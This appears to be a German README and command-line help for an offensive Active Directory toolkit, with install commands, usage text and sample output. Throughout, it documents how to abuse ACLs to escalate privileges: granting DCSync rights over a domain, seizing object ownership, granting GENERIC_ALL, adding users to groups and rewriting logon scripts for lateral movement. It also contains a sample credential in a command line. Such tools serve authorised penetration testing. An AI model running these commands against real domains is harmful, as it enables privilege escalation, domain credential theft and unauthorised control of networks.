
Active Directory ACL-Missbrauchs-Toolkit für Privilegienerweiterung, DCSync, Objektbesitzänderung und laterale Bewegung mittels Manipulation von Anmeldeskripten und Gruppenmitgliedschaftsänderungen.
acltoolkit ist ein Schweizer Taschenmesser für ACL-Missbrauch. Es implementiert mehrere ACL-Missbrauchsmöglichkeiten.
pip install acltoolkit-ad
oder
git clone https://github.com/zblurx/acltoolkit.git
cd acltoolkit
make
usage: acltoolkit [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-scheme ldap scheme]
target {get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript} ...
Schweizer Taschenmesser für ACL-Missbrauch
positional arguments:
target [[domain/]username[:password]@]<target name or address>
{get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript}
Aktion
get-objectacl Objekt-ACL abrufen
set-objectowner Objektbesitzer ändern
give-genericall Einem Objekt GENERIC ALL auf ein Zielobjekt gewähren
give-dcsync Einem Objekt DCSync-Fähigkeiten für die Domäne gewähren
add-groupmember Mitglied zur Gruppe hinzufügen
set-logonscript Anmeldeskript des Benutzers ändern
options:
-h, --help Diese Hilfemeldung anzeigen und beenden
-debug DEBUG-Ausgabe EINSCHALTEN
-no-pass Nicht nach Passwort fragen (nützlich für -k)
-k Kerberos-Authentifizierung verwenden. Holt Anmeldedaten aus der ccache-Datei (KRB5CCNAME) basierend auf den Zielparametern. Falls keine gültigen Anmeldedaten gefunden werden, werden die in der
Befehlszeile angegebenen verwendet
-dc-ip ip address IP-Adresse des Domänencontrollers. Falls nicht angegeben, wird der Domänenteil (FQDN) aus dem Zielparameter verwendet
-scheme ldap scheme
authentication:
-hashes LMHASH:NTHASH
NTLM-Hashes, Format ist LMHASH:NTHASH
$ acltoolkit get-objectacl -h
usage: acltoolkit target get-objectacl [-h] [-object object] [-all]
options:
-h, --help Diese Hilfemeldung anzeigen und beenden
-object object ACL für <object> ausgeben. Parameter kann ein sAMAccountName, ein Name, ein DN oder eine objectSid sein
-all Jeden ACE des Objekts auflisten, auch die weniger interessanten
get-objectacl nimmt als Eingabe über -object einen sAMAccountName, einen Namen, einen DN oder eine objectSid und listet Sid, Name, DN, Klasse, adminCount, konfiguriertes Anmeldeskript, primäre Gruppe, Besitzer und DACL des Objekts auf. Falls kein Parameter angegeben wird, werden Informationen über das zur Authentifizierung verwendete Konto angezeigt.
$ acltoolkit waza.local/jsmith:Password#[email protected] get-objectacl
Sid : S-1-5-21-267175082-2660600898-836655089-1103
Name : waza\John Smith
DN : CN=John Smith,CN=Users,DC=waza,DC=local
Klasse : top, person, organizationalPerson, user
adminCount : False
Anmeldeskript
scriptPath : \\WAZZAAAAAA\OCD\test.bat
msTSInitialProgram: \\WAZZAAAAAA\OCD\test.bat
Primäre Gruppe
Sid : S-1-5-21-267175082-2660600898-836655089-513
Name : waza\Domänen-Benutzer
DN : CN=Domain Users,OU=Builtin Groups,DC=waza,DC=local
[...]
Besitzergruppe
Sid : S-1-5-21-267175082-2660600898-836655089-512
Name : waza\Domänen-Admins
DACL
ObjectSid : S-1-1-0
Name : Jeder
AceType : ACCESS_ALLOWED_OBJECT_ACE
AccessMask : 256
ADRights : EXTENDED_RIGHTS
IsInherited : False
ObjectAceType : User-Change-Password
[...]
ObjectSid : S-1-5-32-544
Name : BUILTIN\Administrator
AceType : ACCESS_ALLOWED_ACE
AccessMask : 983485
ADRights : WRITE_OWNER, WRITE_DACL, GENERIC_READ, DELETE, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, CREATE_CHILD
IsInherited : True
$ acltoolkit set-objectowner -h
usage: acltoolkit target set-objectowner [-h] -target-sid target_sid [-owner-sid owner_sid]
options:
-h, --help Diese Hilfemeldung anzeigen und beenden
-target-sid target_sid
Zielobjekt-SID
-owner-sid owner_sid Neue Besitzer-SID
set-objectowner nimmt als Eingabe eine Ziel-SID und eine Besitzer-SID entgegen und ändert den Besitzer des Zielobjekts.
$ acltoolkit give-genericall -h
usage: acltoolkit target give-genericall [-h] -target-sid target_sid [-granted-sid owner_sid]
options:
-h, --help Diese Hilfemeldung anzeigen und beenden
-target-sid target_sid
Zielobjekt-SID
-granted-sid owner_sid
Objekt-SID, der GENERIC_ALL gewährt wird
give-genericall nimmt als Eingabe eine Ziel-SID und eine gewährte SID entgegen und gewährt der gewährten SID GENERIC_ALL auf dem Zielobjekt.
$ acltoolkit give-dcsync -h
usage: acltoolkit target give-dcsync [-h] [-granted-sid owner_sid]
options:
-h, --help Diese Hilfemeldung anzeigen und beenden
-granted-sid owner_sid
Objekt-SID, der DCSync-Fähigkeiten gewährt werden
give-dcsync nimmt als Eingabe eine gewährte SID entgegen und gewährt der gewährten SID DCSync-Fähigkeiten.
$ acltoolkit add-groupmember -h
usage: acltoolkit target add-groupmember [-h] [-user user] -group group
options:
-h, --help Diese Hilfemeldung anzeigen und beenden
-user user Benutzer, der der Gruppe hinzugefügt wird
-group group Gruppe, zu der der Benutzer hinzugefügt wird
add-groupmember nimmt als Eingabe einen Benutzer-sAMAccountName und einen Gruppen-sAMAccountName entgegen und fügt den Benutzer zur Gruppe hinzu.
$ acltoolkit set-logonscript -h
usage: acltoolkit target set-logonscript [-h] -target-sid target_sid -script-path script_path [-logonscript-type logonscript_type]
options:
-h, --help Diese Hilfemeldung anzeigen und beenden
-target-sid target_sid
SID des Zielbenutzers
-script-path script_path
Skriptpfad, der für den Zielbenutzer festgelegt werden soll
-logonscript-type logonscript_type
Zu ändernde Anmeldeskript-Variable (Standard ist scriptPath)
set-logonscript nimmt als Eingabe eine Ziel-SID und einen Skriptpfad entgegen und setzt den Anmeldeskript-Pfad des Zielbenutzers auf den angegebenen Skriptpfad.